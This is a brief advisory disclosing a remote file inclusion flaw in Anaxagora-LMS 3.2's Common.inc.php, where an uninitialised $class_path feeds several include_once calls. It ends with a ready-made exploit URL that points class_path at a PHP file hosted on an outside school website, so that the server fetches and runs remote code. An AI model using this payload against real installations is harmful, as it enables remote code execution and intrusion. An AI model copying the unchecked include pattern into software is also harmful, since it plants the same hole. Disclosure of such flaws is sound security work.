Anaxagora RFI vuln

Simple remote file inclusion vulnerability.

Product: Anaxagora-Lms
Version: 3.2
File: Common.inc.php

class_path variable not initialized prior to including:

include_once($class_path."bdd.class.php");
include_once($class_path."connexion.class.php");
include_once($class_path."membre.class.php");

vulnerable url:
LCMS/anaxagora/inc/Common.inc.php?class_path=http://tech.torc.k12.nm.us/techtools/phpinfo.txt?